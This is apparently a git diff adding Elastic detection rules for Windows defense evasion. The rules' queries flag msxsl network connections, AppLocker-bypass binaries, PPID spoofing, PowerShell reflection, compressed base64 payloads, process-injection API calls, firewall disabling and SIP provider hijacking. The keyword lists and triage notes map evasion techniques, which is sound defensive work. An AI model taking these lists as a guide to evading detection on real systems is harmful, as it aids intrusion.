["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "MsXsl Making Network Connections" +risk_score = 21 +rule_id = "870d1753-1078-403e-92d4-735f142edcca" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +/* duplicate of Network Connection via MsXsl - b86afe07-0d98-4738-b15d-8d7465f95ff5 */ + +sequence by process.entity_id + [process where event.type in ("start", "process_started") and process.name : "msxsl.exe"] + [network where process.name : "msxsl.exe" and network.direction : ("outgoing", "egress")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1220" +name = "XSL Script Processing" +reference = "https://attack.mitre.org/techniques/T1220/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_msxsl_network.toml b/rules/windows/defense_evasion_msxsl_network.toml new file mode 100644 index 000000000..9e5ecf447 --- /dev/null +++ b/rules/windows/defense_evasion_msxsl_network.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/03/18" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +Identifies msxsl.exe making a network connection. This may indicate adversarial activity as msxsl.exe is often leveraged +by adversaries to execute malicious scripts and evade detection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Network Connection via MsXsl" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 21 +rule_id = "b86afe07-0d98-4738-b15d-8d7465f95ff5" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where process.name : "msxsl.exe" and event.type == "start"] + [network where process.name : "msxsl.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1220" +name = "XSL Script Processing" +reference = "https://attack.mitre.org/techniques/T1220/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_network_connection_from_windows_binary.toml b/rules/windows/defense_evasion_network_connection_from_windows_binary.toml new file mode 100644 index 000000000..68410361c --- /dev/null +++ b/rules/windows/defense_evasion_network_connection_from_windows_binary.toml @@ -0,0 +1,84 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies network activity from unexpected system applications. This may indicate adversarial activity as these +applications are often leveraged by adversaries to execute code and evade detection. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Network Activity from a Windows System Binary" +risk_score = 21 +rule_id = "1fe3b299-fbb5-4657-a937-1d746f2c711a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by process.entity_id with maxspan=5m + [process where event.type in ("start", "process_started") and + + /* known applocker bypasses */ + (process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "control.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "installutil.exe" or + process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "MSBuild.exe" or + process.name : "msdt.exe" or + process.name : "mshta.exe" or + process.name : "msiexec.exe" or + process.name : "msxsl.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "regsvr32.exe" or + process.name : "xwizard.exe")] + [network where + (process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "control.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "installutil.exe" or + process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "MSBuild.exe" or + process.name : "msdt.exe" or + process.name : "mshta.exe" or + process.name : "msiexec.exe" or + process.name : "msxsl.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "regsvr32.exe" or + process.name : "xwizard.exe")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1127" +name = "Trusted Developer Utilities Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1127/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_parent_process_pid_spoofing.toml b/rules/windows/defense_evasion_parent_process_pid_spoofing.toml new file mode 100644 index 000000000..48f5b6e00 --- /dev/null +++ b/rules/windows/defense_evasion_parent_process_pid_spoofing.toml @@ -0,0 +1,67 @@ +[metadata] +creation_date = "2021/07/14" +maturity = "production" +updated_date = "2021/07/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies parent process spoofing used to thwart detection. Adversaries may spoof the parent process identifier (PPID) +of a new process to evade process-monitoring defenses or to elevate privileges. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Parent Process PID Spoofing" +references = ["https://blog.didierstevens.com/2017/03/20/"] +risk_score = 73 +rule_id = "c88d4bd0-5649-4c52-87ea-9be59dbfbcf2" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +/* This rule is compatible with Elastic Endpoint only */ + +sequence by host.id, user.id with maxspan=5m + [process where event.type == "start" and + process.Ext.token.integrity_level_name != "system" and + ( + process.pe.original_file_name : ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe", "eqnedt32.exe", + "fltldr.exe", "mspub.exe", "msaccess.exe", "powershell.exe", "pwsh.exe", + "cscript.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", "msbuild.exe", + "mshta.exe", "wmic.exe", "cmstp.exe", "msxsl.exe") or + process.executable : ("?:\\Users\\*.exe", + "?:\\ProgramData\\*.exe", + "?:\\Windows\\Microsoft.NET\\*.exe", + "?:\\Windows\\Temp\\*.exe", + "?:\\Windows\\Tasks\\*") or + process.code_signature.trusted != true + ) + ] by process.pid + [process where event.type == "start" and process.parent.Ext.real.pid > 0 and + /* process.parent.Ext.real.pid is only populated if the parent process pid doesn't match */ + + not (process.name : "msedge.exe" and process.parent.name : "sihost.exe") + ] by process.parent.Ext.real.pid +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Access Token Manipulation" +id = "T1134" +reference = "https://attack.mitre.org/techniques/T1134/" +[[rule.threat.technique.subtechnique]] +name = "Parent PID Spoofing" +id = "T1134.004" +reference = "https://attack.mitre.org/techniques/T1134/004/" + + + +[rule.threat.tactic] +name = "Defense Evasion" +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/windows/defense_evasion_posh_assembly_load.toml b/rules/windows/defense_evasion_posh_assembly_load.toml new file mode 100644 index 000000000..b1b9724b2 --- /dev/null +++ b/rules/windows/defense_evasion_posh_assembly_load.toml @@ -0,0 +1,77 @@ +[metadata] +creation_date = "2021/10/15" +maturity = "production" +updated_date = "2022/02/16" + +[rule] +author = ["Elastic"] +description = """ +Detects the use of Reflection.Assembly to load PEs and DLLs in memory in PowerShell scripts. Attackers use this method +to load executables and DLLs without writing to the disk, bypassing security solutions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Suspicious .NET Reflection via PowerShell" +references = [ + "https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load", +] +risk_score = 73 +rule_id = "e26f042e-c590-4e82-8e05-41e81bd822ad" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + powershell.file.script_block_text : ( + "[System.Reflection.Assembly]::Load" or + "[Reflection.Assembly]::Load" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1055" +name = "Process Injection" +reference = "https://attack.mitre.org/techniques/T1055/" + + [[rule.threat.technique.subtechnique]] + id = "T1055.001" + name = "Dynamic-link Library Injection" + reference = "https://attack.mitre.org/techniques/T1055/001/" + + [[rule.threat.technique.subtechnique]] + id = "T1055.002" + name = "Portable Executable Injection" + reference = "https://attack.mitre.org/techniques/T1055/002/" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + [[rule.threat.technique.subtechnique]] + id = "T1059.001" + name = "PowerShell" + reference = "https://attack.mitre.org/techniques/T1059/001/" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/defense_evasion_posh_compressed.toml b/rules/windows/defense_evasion_posh_compressed.toml new file mode 100644 index 000000000..4f8f7dd28 --- /dev/null +++ b/rules/windows/defense_evasion_posh_compressed.toml @@ -0,0 +1,74 @@ +[metadata] +creation_date = "2021/10/19" +maturity = "production" +updated_date = "2022/03/02" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of .NET functionality for decompression and base64 decoding combined in PowerShell scripts, which +malware and security tools heavily use to deobfuscate payloads and load them directly in memory to bypass defenses. +""" +false_positives = ["Legitimate PowerShell Scripts which makes use of compression and encoding."] +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "PowerShell Suspicious Payload Encoded and Compressed" +risk_score = 47 +rule_id = "81fe9dc6-a2d7-4192-a2d8-eed98afc766a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + powershell.file.script_block_text : ( + ( + "System.IO.Compression.DeflateStream" or + "System.IO.Compression.GzipStream" or + "IO.Compression.DeflateStream" or + "IO.Compression.GzipStream" + ) and + FromBase64String + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1140" +name = "Deobfuscate/Decode Files or Information" +reference = "https://attack.mitre.org/techniques/T1140/" + +[[rule.threat.technique]] +id = "T1027" +name = "Obfuscated Files or Information" +reference = "https://attack.mitre.org/techniques/T1027/" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1059" +reference = "https://attack.mitre.org/techniques/T1059/" +name = "Command and Scripting Interpreter" + + [[rule.threat.technique.subtechnique]] + id = "T1059.001" + reference = "https://attack.mitre.org/techniques/T1059/001/" + name = "PowerShell" + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" + diff --git a/rules/windows/defense_evasion_posh_process_injection.toml b/rules/windows/defense_evasion_posh_process_injection.toml new file mode 100644 index 000000000..a217ff2cc --- /dev/null +++ b/rules/windows/defense_evasion_posh_process_injection.toml @@ -0,0 +1,113 @@ +[metadata] +creation_date = "2021/10/14" +maturity = "production" +updated_date = "2022/03/15" + +[rule] +author = ["Elastic"] +description = """ +Detects the use of Windows API functions that are commonly abused by malware and security tools to load +malicious code or inject it into remote processes. +""" +false_positives = ["Legitimate PowerShell scripts that make use of these functions."] +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Process Injection via PowerShell" +note = """## Triage and analysis. + +### Investigating Potential Process Injection via PowerShell + +PowerShell is one of the main tools used by system administrators for automation, report routines, and other tasks. + +PowerShell also has solid capabilities to make the interaction with the Win32 API in an uncomplicated and reliable way, +like the execution of inline C# code, PSReflect, Get-ProcAddress, etc. + +Red Team tooling and malware developers take advantage of these capabilities to develop stagers and loaders that inject +payloads directly into the memory, without touching the disk. + +#### Possible investigation steps: + +- Examine script content that triggered the detection. +- Investigate script execution chain (parent process tree). +- Inspect any file or network events from the suspicious PowerShell host process instance. +- If the action is suspicious for the user, check for any other activities done by the user in the last 48 hours. + +### False Positive Analysis + +- Verify whether the script content is malicious/harmful. + +### Related Rules + +- PowerShell PSReflect Script - 56f2e9b5-4803-4e44-a0a4-a52dc79d57fe + +### Response and Remediation + +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config + +The 'PowerShell Script Block Logging' logging policy must be enabled. +Steps to implement the logging policy with with Advanced Audit Configuration: + +``` +Computer Configuration > +Administrative Templates > +Windows PowerShell > +Turn on PowerShell Script Block Logging (Enable) +``` + +Steps to implement the logging policy via registry: + +``` +reg add "hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 +``` +""" +references = [ + "https://github.com/EmpireProject/Empire/blob/master/data/module_source/management/Invoke-PSInject.ps1", + "https://github.com/EmpireProject/Empire/blob/master/data/module_source/management/Invoke-ReflectivePEInjection.ps1", + "https://github.com/BC-SECURITY/Empire/blob/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1", +] +risk_score = 73 +rule_id = "2e29e96a-b67c-455a-afe4-de6183431d0d" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + powershell.file.script_block_text : ( + (VirtualAlloc or VirtualAllocEx or VirtualProtect or LdrLoadDll or LoadLibrary or LoadLibraryA or + LoadLibraryEx or GetProcAddress or OpenProcess or OpenProcessToken or AdjustTokenPrivileges) and + (WriteProcessMemory or CreateRemoteThread or NtCreateThreadEx or CreateThread or QueueUserAPC or + SuspendThread or ResumeThread or GetDelegateForFunctionPointer) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1055" +name = "Process Injection" +reference = "https://attack.mitre.org/techniques/T1055/" + + [[rule.threat.technique.subtechnique]] + id = "T1055.001" + name = "Dynamic-link Library Injection" + reference = "https://attack.mitre.org/techniques/T1055/001/" + + [[rule.threat.technique.subtechnique]] + id = "T1055.002" + name = "Portable Executable Injection" + reference = "https://attack.mitre.org/techniques/T1055/002/" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_potential_processherpaderping.toml b/rules/windows/defense_evasion_potential_processherpaderping.toml new file mode 100644 index 000000000..28f8d5a50 --- /dev/null +++ b/rules/windows/defense_evasion_potential_processherpaderping.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/10/27" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies process execution followed by a file overwrite of an executable by the same parent process. This may indicate +an evasion attempt to execute malicious code in a stealthy way. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Process Herpaderping Attempt" +references = ["https://github.com/jxy-s/herpaderping"] +risk_score = 73 +rule_id = "ccc55af4-9882-4c67-87b4-449a7ae8079c" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence with maxspan=5s + [process where event.type == "start" and not process.parent.executable : "C:\\Windows\\SoftwareDistribution\\*.exe"] by host.id, process.executable, process.parent.entity_id + [file where event.type == "change" and event.action == "overwrite" and file.extension == "exe"] by host.id, file.path, process.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +name = "Masquerading" +reference = "https://attack.mitre.org/techniques/T1036/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_powershell_windows_firewall_disabled.toml b/rules/windows/defense_evasion_powershell_windows_firewall_disabled.toml new file mode 100644 index 000000000..6a8abe43c --- /dev/null +++ b/rules/windows/defense_evasion_powershell_windows_firewall_disabled.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2021/10/15" +maturity = "production" +updated_date = "2022/02/16" + + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when the Windows Firewall is disabled using PowerShell cmdlets, which can help attackers evade network +constraints, like internet and network lateral communication restrictions. +""" +false_positives = [ + """ + Windows Firewall can be disabled by a system administrator. Verify whether the user identity, user agent, and/or + hostname should be making changes in your environment. Windows Profile being disabled by unfamiliar users should be + investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Windows Firewall Disabled via PowerShell" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps", + "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell", + "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php", + "http://woshub.com/manage-windows-firewall-powershell/", +] +risk_score = 47 +rule_id = "f63c8e3c-d396-404f-b2ea-0379d3942d73" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.action == "start" and + (process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or process.pe.original_file_name == "PowerShell.EXE") and + process.args : "*Set-NetFirewallProfile*" and + (process.args : "*-Enabled*" and process.args : "*False*") and + (process.args : "*-All*" or process.args : ("*Public*", "*Domain*", "*Private*")) +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + [[rule.threat.technique.subtechnique]] + id = "T1562.004" + reference = "https://attack.mitre.org/techniques/T1562/004/" + name = "Disable or Modify System Firewall" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_process_termination_followed_by_deletion.toml b/rules/windows/defense_evasion_process_termination_followed_by_deletion.toml new file mode 100644 index 000000000..7665c2078 --- /dev/null +++ b/rules/windows/defense_evasion_process_termination_followed_by_deletion.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/11/04" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies a process termination event quickly followed by the deletion of its executable file. Malware tools and other +non-native files dropped or created on a system by an adversary may leave traces to indicate to what occurred. Removal +of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's +footprint. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Process Termination followed by Deletion" +risk_score = 47 +rule_id = "09443c92-46b3-45a4-8f25-383b028b258d" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=5s + [process where event.type == "end" and + process.code_signature.trusted == false and + not process.executable : ("C:\\Windows\\SoftwareDistribution\\*.exe", "C:\\Windows\\WinSxS\\*.exe") + ] by process.executable + [file where event.type == "deletion" and file.extension : ("exe", "scr", "com")] by file.path +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" + + [[rule.threat.technique.subtechnique]] + id = "T1070.004" + name = "File Deletion" + reference = "https://attack.mitre.org/techniques/T1070/004/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_rundll32_no_arguments.toml b/rules/windows/defense_evasion_rundll32_no_arguments.toml new file mode 100644 index 000000000..a6987481c --- /dev/null +++ b/rules/windows/defense_evasion_rundll32_no_arguments.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/07/19" + +[rule] +author = ["Elastic"] +description = """ +Identifies child processes of unusual instances of RunDLL32 where the command line parameters were suspicious. Misuse of +RunDLL32 could indicate malicious activity. +""" +from = "now-60m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +interval = "30m" +language = "eql" +license = "Elastic License v2" +name = "Unusual Child Processes of RunDLL32" +risk_score = 21 +rule_id = "f036953a-4615-4707-a1ca-dc53bf69dcd5" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence with maxspan=1h + [process where event.type in ("start", "process_started") and + (process.name : "rundll32.exe" or process.pe.original_file_name == "RUNDLL32.EXE") and + process.args_count == 1 + ] by process.entity_id + [process where event.type in ("start", "process_started") and process.parent.name : "rundll32.exe" + ] by process.parent.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" +[[rule.threat.technique.subtechnique]] +id = "T1218.011" +name = "Rundll32" +reference = "https://attack.mitre.org/techniques/T1218/011/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_scheduledjobs_at_protocol_enabled.toml b/rules/windows/defense_evasion_scheduledjobs_at_protocol_enabled.toml new file mode 100644 index 000000000..d1d8b5b5d --- /dev/null +++ b/rules/windows/defense_evasion_scheduledjobs_at_protocol_enabled.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/11/23" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to enable the Windows scheduled tasks AT command via the registry. Attackers may use this method to +move laterally or persist locally. The AT command has been deprecated since Windows 8 and Windows Server 2012, but still +exists for backwards compatibility. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Scheduled Tasks AT Command Enabled" +references = ["https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-scheduledjob"] +risk_score = 47 +rule_id = "9aa0e1f6-52ce-42e1-abb3-09657cee2698" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where + registry.path : "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Configuration\\EnableAt" and + registry.data.strings : ("1", "0x00000001") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_sdelete_like_filename_rename.toml b/rules/windows/defense_evasion_sdelete_like_filename_rename.toml new file mode 100644 index 000000000..c84fe0f38 --- /dev/null +++ b/rules/windows/defense_evasion_sdelete_like_filename_rename.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Detects file name patterns generated by the use of Sysinternals SDelete utility to securely delete a file via multiple +file overwrite and rename operations. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Secure File Deletion via SDelete Utility" +note = """## Triage and analysis + +Verify process details such as command line and hash to confirm this activity legitimacy.""" +risk_score = 21 +rule_id = "5aee924b-6ceb-4633-980e-1bde8cdb40c5" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "change" and file.name : "*AAA.AAA" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1070" +name = "Indicator Removal on Host" +reference = "https://attack.mitre.org/techniques/T1070/" +[[rule.threat.technique.subtechnique]] +id = "T1070.004" +name = "File Deletion" +reference = "https://attack.mitre.org/techniques/T1070/004/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_sip_provider_mod.toml b/rules/windows/defense_evasion_sip_provider_mod.toml new file mode 100644 index 000000000..74952e3a1 --- /dev/null +++ b/rules/windows/defense_evasion_sip_provider_mod.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2021/01/20" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies modifications to the registered Subject Interface Package (SIP) providers. SIP providers are used by the +Windows cryptographic system to validate file signatures on the system. This may be an attempt to bypass signature +validation checks or inject code into critical processes. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "SIP Provider Modification" +references = ["https://github.com/mattifestation/PoCSubjectInterfacePackage"] +risk_score = 47 +rule_id = "f2c7b914-eda3-40c2-96ac-d23ef91776ca" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type:"change" and + registry.path: ( + "HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{*}\\Dll", + "HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{*}\\Dll", + "HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{*}\\$Dll", + "HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{*}\\$Dll" + ) and + registry.data.strings:"*.dll" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1553" +name = "Subvert Trust Controls" +reference = "https://attack.mitre.org/techniques/T1553/" +[[rule.threat.technique.subtechnique]] +id = "T1553.003" +name = "SIP and Trust Provider Hijacking" +reference = "https://attack.mitre.org/techniques/T1553/003/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_solarwinds_backdoor_service_disabled_via_registry.toml b/rules/windows/defense_evasion_solarwinds_backdoor_service_disabled_via_registry.toml new file mode 100644 index 000000000..b556707dc --- /dev/null +++ b/rules/windows/defense_evasion_solarwinds_backdoor_service_disabled_via_registry.toml @@ -0,0 +1,75 @@ +[metadata] +creation_date = "2020/12/14" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies a SolarWinds binary modifying the start type of a service to be disabled. An adversary may abuse this +technique to manipulate relevant security services. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "SolarWinds Process Disabling Services via Registry" +references = [ + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", +] +risk_score = 47 +rule_id = "b9960fef-82c6-4816-befa-44745030e917" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\Start" and + registry.data.strings : ("4", "0x00000004") and + process.name : ( + "SolarWinds.BusinessLayerHost*.exe", + "ConfigurationWizard*.exe", + "NetflowDatabaseMaintenance*.exe", + "NetFlowService*.exe", + "SolarWinds.Administration*.exe", + "SolarWinds.Collector.Service*.exe" , + "SolarwindsDiagnostics*.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = 